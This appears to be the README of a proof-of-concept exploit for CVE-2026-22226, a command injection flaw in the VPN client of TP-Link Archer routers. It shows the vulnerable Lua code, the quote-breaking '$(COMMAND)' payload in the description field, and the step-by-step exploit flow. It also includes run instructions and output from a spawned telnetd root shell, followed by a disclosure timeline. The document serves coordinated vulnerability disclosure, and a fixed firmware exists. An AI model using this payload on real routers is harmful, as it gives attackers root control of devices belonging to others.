CVE-2026-22226

Proof of Concept for CVE-2026-22226

Authenticated LAN-side OS Command Injection in the VPN Client of TP-Link Archer Wi-Fi routers

---

Vulnerability brief

The VPN Client controller stores the user-controlled entry description (des) in the UCI configuration with a weak validation regex. When the entry is later read back (while editing it in the WebUI), get_ovpn_data() interpolates des into a quoted shell command passed to os.execute() without any sanitization :

-- get_ovpn_data() in vpn.lua

file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)

The single-quote character (') passes the validation regex, which is enough to break out of the shell quoting and inject commands via $() substitution. A des field set to '$(COMMAND)' turns the command into :

echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit

Note that the command output is never returned in the HTTP response, so the injection is blind. This is why we need an out-of-band channel (here the PoC script spawns a telnetd server to get an interactive shell).

Proof of Concept

[!Note] I only tested this script on a TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), but other Archer devices are likely vulnerable too.

This poc follows this process :

• Authenticate to LuCI as admin
• Upload a dummy .ovpn configuration file
• Insert a VPN client entry with a poisoned des field, escaping the single-quoted context and injecting our payload via a command substitution
• Trigger get_ovpn_data() by reading the entry back, which feeds the poisoned des into os.execute()
• Clean up the poisoned VPN entry (this allows re-running the exploit later)

[!Warning] The exploitation of this vulnerability leads to OS command execution as root on the router (full device compromise), bypassing the des input validation via the allowed single-quote character.

Usage

Python dependencies are declared inline in the script, so you can run it directly with a modern Python project manager, or install them manually with pip :

# using pipx
pipx run poc.py
# using uv
uv run poc.py

# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py

• set the target IP, credentials, and payload in poc.py

• run the script :

$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK

• interact with the spawned telnetd server :

$ telnet 192.168.0.1 1337

BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux

Timeline

• 2026-02-18 : Vulnerability reported to TP-Link, providing a detailed report and proof of concept script
• 2026-03-25 : TP-Link acknowledged the report and indicated the process could take up to 90 days
• 2026-05-13 : TP-Link requested an additional 30 days, which we accepted
• 2026-05-16 : CVE-2026-22226 assigned, tracking the same bug reported on the BE230 by another researcher a few days earlier ; disclosure date set to 2026-07-22
• 2026-06-04 : Fixed AX73 firmware released (v1.3.1)
• 2026-07-22 : Public disclosure

References

• CVE-2026-22226
• TP-Link security advisory